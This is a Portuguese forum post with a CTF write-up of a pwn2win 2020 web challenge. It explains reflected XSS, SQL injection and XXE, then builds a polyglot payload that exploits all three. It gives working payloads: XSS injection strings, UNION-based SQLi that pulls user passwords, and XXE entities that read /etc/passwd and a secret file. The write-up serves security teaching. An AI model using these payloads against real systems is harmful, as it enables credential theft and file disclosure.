Jump to content

brenocss

Epic Leet Team
  • Posts

    1
  • Joined

  • Last visited

Everything posted by brenocss

  1. Hoje iremos acompanhar um writeup de um desafio do pwn2win 2020, criado pelo Caio Lüders, que nos permite aprender 3 vulnerabilidades conhecidas (XSS, SQL INJECTION e XXE) e categorizadas no OWASP Top 10 como Injection (top 1) e XXE (top 4). Para isso, vamos entender as vulnerabilidades envolvidas separadamente e depois explorar no desafio. O que é Reflected XSS Cross Site Script Refletido (Reflected XSS) é uma vulnerabilidade que explora a injeção de códigos na resposta HTTP que podem estar refletidos em diferentes contextos HTML e permitem execução de código JavaScript. Código vulnerável: ### Contexto de html <?php $nome = $_GET["nome"]; // Guarda o valor do parametro nome na variavel nome print '<h1>ola ' . $nome .'<h1>'; // Retorna no html <h1> ola $conteudo da variavel nome$ </h1> ?> O código PHP é vulnerável à XSS já que todo o conteúdo passado no parâmetro nome é retornado, sem sanitização, no HTML da página. Ou seja, se conseguimos injetar qualquer tag HTML podemos utilizar alguma tag que execute JavaScript (<script>alert(1)</script>, por exemplo) ou podemos utilizar tags com eventos (<img src=x onerror=alert(1)/>) como uma forma de executar JavaScript. XSS: http://localhost:8000/xsshtml.php?nome=<script>alert(1)</script> http://localhost:8000/xsshtml.php?nome=<img src=imageminvalida onerror=alert(1)> Código vulnerável: ### Contexto de atributo <?php $img = $_GET["img"]; // Pega o valor do parâmetro "img" e guarda dentro da variável "$img" print '<img src="' . $img .'">'; // Retorna no HTML da página <img src="CONTEUDO DA VARIAVEL $img"> ?> Percebemos que o servidor está inserindo o parâmetro img dentro do atributo src da imagem. Uma maneira que podemos transformar isso em um XSS é fechar o atributo e a tag com “> e inicializar outra tag que execute JavaScript, <img src=x onerror=xss>, por exemplo. Outro caminho é injetar outro atributo que execute JavaScript. XSS: http://localhost:8000/xssatributo.php?img="><img src=imageminvalida onerror=alert(1)> http://localhost:8000/xssatributo.php?img=imageminvalida" onerror=alert(1)// Código vulnerável: ### Contexto de códigos JavaScript <?php $nome = $_GET["nome"]; // Pega o valor do parametro "nome" e guarda na variavel $nome print '<body>'; // Adiciona a tag <body> no HTML print '<script>nome=\'' . $nome .'\';console.log(nome)</script>'; // adiciona o <script>nome=COUNTEUDO DA VARIAVEL $nome;console.log(nome)</script> no HTML da pagina print '</body>';// adiciona tag </body> para fechar a tag no html ?> Para explorar o XSS com o payload teste'-alert(1)// fechamos a String nome com ' . Fizemos a operação de subtração para executar o JavaScript e comentamos o código restante com //. XSS: http://localhost:8000/xssjavascript.php?nome='-alert(1)// O que é SQL Injection SQL Injection é uma vulnerabilidade que explora como uma query SQL é montada e enviada para ser executada. Muitas vezes o desenvolvedor utiliza as entradas do usuário diretamente na query que será executada para fazer a consulta SQL sem nenhuma forma de tratamento. Código vulnerável: $usuario = $_POST['usuario']; $senha = $_POST['senha']; $sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' "; $processa = mysql_query($sql); Explorando SQL Injection No exemplo abaixo temos uma consulta normal de SQL com as entradas usuais de um usuário : $usuario = "epicleetteam"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte: SELECT * FROM usuarios WHERE usuario = 'epicleetteam' AND senha = 'admin' Demonstrando agora o que acontece quando enviamos entradas com aspas simples: $usuario = "epicleet'team"; $senha = "admin"; Com as entradas acima a consulta SQL resulta no seguinte: SELECT * FROM usuarios WHERE usuario = 'epicleet'team' AND senha = 'admin' Podemos notar que a aspa simples quebra a query e nos permite escapar da string e gerar um erro de sintaxe. Como escapamos da string conseguimos executar qualquer comando SQL. Exemplo executando o comando sleep para evitar o erro de sintaxe utilizamos o # para comentar o resto da query: $usuario = "epicleetteam' union select sleep(5)#"; $senha = "admin"; SELECT * FROM usuarios WHERE usuario = 'epicleet' union select sleep(5)#' AND senha = 'admin' O que é XXE XML External Entity (XXE) é uma característica do XML que nos permite criar uma referencia de um dado. Esse dado pode ser local ou remoto. Com isto a entidade passa a ter o valor contido no endereço referenciado e ao ser chamada retorna os dados desse endereço. Exemplo com arquivo local: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo> Saída: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin messagebus:x:101:101::/nonexistent:/usr/sbin/nologin gnx:x:999:999::/home/gnx:/bin/sh Exemplo com arquivo externo: <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "https://epicleet.team/robots.txt" >]><foo>&xxe;</foo> Vamos ao desafio A ideia do desafio era explorar todas essas vulnerabilidades em uma única requisição. Sendo assim, a sua requisição precisa ser poliglota (ser entendida em diferentes contextos) e evitar com que uma exploração não atrapalhe a outra. Para começar escolhemos o SQL Injection. Para elaboração do payload separamos a resolução em 3 partes: SQLi, XXE e por fim XSS+XXE+SQLi. Código Fonte do desafio: https://github.com/pwn2winctf/challenges-2020/blob/master/web-A payload to rule them all/deploy/server/script/test_payload.js SQL Injection Os trechos destacados são responsáveis pela vulnerabilidade de SQL Injection e por validar caso ele tenha obtido sucesso. Depois disso, o desafio avalia se a saída da consulta do SQL possui a password do usuário. OBS: ${payload} é a entrada do atacante. Trecho do desafio vulnerável a SQL Injection: const sqli = await query(`SELECT * from posts where id='${payload}'`) //<- monta a query enviada para o sql await connection.end() return JSON.stringify(sqli).includes(users[0]["password"]) //<- Verifica se password esta no retorno da query Para retornar o conteúdo do password na query do SQL utilizamos o operador UNION. O operador union combina os resultados de duas ou mais queries em um único resultado, retornando todas as linhas pertencentes a todas as queries envolvidas na execução. Para utilizar o UNION, o número de colunas precisa ser idêntico em todas as queries. Sendo assim, começaremos descobrindo o número de colunas pela técnica baseada no tempo. Iremos variar a quantidade de colunas utilizando N vezes a palavra null e o comando sleep(5) para criar o delay. Desta forma verificaremos se a resposta foi impactada pelo delay (deu certo) ou não (deu errado): 'UNION SELECT sleep(5)# (não demorou) 'UNION SELECT sleep(5),null# (não demorou) 'UNION SELECT sleep(5),null,null#(demorou) Para confirmar que são exatamente 3 colunas adicionamos mais uma coluna e se não demorar garantimos a quantidade 3 de colunas 'UNION SELECT sleep(5),null,null,null# (não demorou)` Sendo assim, ao obter o numero de colunas correto podemos retornar o conteudo da senha com esse payload final 'UNION SELECT null,null,(select password from users)# E assim fica a query executada pelo SQL: SELECT * from posts where id=''UNION SELECT null,null,(select password from users)#' XXE Trecho do desafio vulnerável a XXE: var my_secret = Math.random().toString(36).substring(2) ;//<- Gera numero aleatorio fs.writeFileSync("/home/gnx/script/xxe_secret",my_secret) //<- Escreve esse numero aleatorio no arquivo xxe_secret var doc = libxml.parseXml(payload, { noent: true ,nonet: true })// <- recebe as entradas do atacante e parseia o xml return doc.toString().includes(my_secret) //<- verifica se o conteúdo do arquivo my_secret aparece no retorno do xml Para o ataque de XXE somente utilizei o payload conhecido de leitura de arquivo <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///home/gnx/script/xxe_secret’>]><root>&test;</root> Porém para não atrapalhar o SQL Injection substituímos as aspas simples por aspas duplas. Assim ficamos com um payload poliglota que explora XXE e SQLi. Payload de XXE+SQLI: <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>&test;</root>'UNION SELECT null,null,(select password from users)# XSS+XXE+SQLI A parte do XSS, supostamente mais simples, já que seria só definir a variável xss com o payload "xss=1", tornou-se a mais complicada pois era afetada pelos outros payloads, que acarretavam erros de sintaxe JavaScript. Trecho do código vulnerável: payload = sanitizeHtml(payload,{allowedTags:[]}) // <- Recebe a entrada do usuario e sanitiza com a funcao sanitizeHtml await page.goto(`data:text/html,<script>${payload}</script>`) // <- Coloca o conteudo sanitizado dentro da tag <script> const check = await page.evaluate("( typeof xss != 'undefined' ? true : false )") //<- verifica se a variavel xss esta definido Como todo o payload era passado em uma lib de sanitização antes de ser injetado no browser (data:text/html,<script>${payload}</script>), deveríamos utilizar essa lib ao nosso favor para forçar a remoção do conteúdo dos outros ataques que atrapalham criar um JavaScript válido. Uma das remoções da lib é a de comentários. A lib também remove todas as tags HTML. Sabendo disso, vamos usar essas características e juntar as vulnerabilidades. Exemplo: <tag aleatoria> é removido <!--é removido --> Remover o SQLl Injection do payload de XSS é bem fácil já que podemos injetar qualquer conteúdo antes das aspas simples precisando somente ser diferente de aspas simples e injetar qualquer conteúdo depois do comentário. SQL Injection com comentários do HTML: <!--’UNION SELECT (select password from users),null,null#--> Payload invalido com Sql Injection + XXE + XSS: <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret">]><root>xss=1//&test;</root><!--'UNION SELECT null,null,(select password from users)#--> A lib sanitizehtml, ao interpretar boa parte do conteudo xml como tag html, remove a maior parte da string. Partes restantes do payload depois do sanitize: ]>xss=1//&test; Erro ao acessar data:text/html,<script>]>xss=1//&test;</script>: Uncaught SyntaxError: Unexpected token ']' Percebemos que o conteúdo do xml estava atrapalhando o código JavaScript ao ser executado sem erros no browser. Para escapar criamos uma entidade <!ENTITY apagar SYSTEM "teste>/*"> com o conteúdo teste> para a lib remover algumas partes do xml. No entanto restaram alguns caracteres que estavam gerando o erro de sintaxe comentado anteriormente.Para isso utilizamos o comentário do JavaScript /* */ para comentar os caracteres “]> e o // para comentar todo o resto do payload. Payload Final usando comentário javascript: <!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY apagar SYSTEM "teste>/*">]><root>*/xss=1//&xxe;</root><!--' union select (select password from users),null,null Outra maneira era utilizar o CDATA para injetar esses caracteres especiais < e colocar o xss dentro de uma entidade do xml. O CDATA é importante pois na ausência do CDATA eles seriam interpretados pelo xml parser e teríamos problemas com o xxe. Payload Final <!DOCTYPE root [<!ENTITY test SYSTEM "file:///home/gnx/script/xxe_secret"><!ENTITY x "<![CDATA[ < ]]>xss=1//" >]><root>&test;</root><!--' union select (select password from users),null,null#-->
×
×
  • Create New...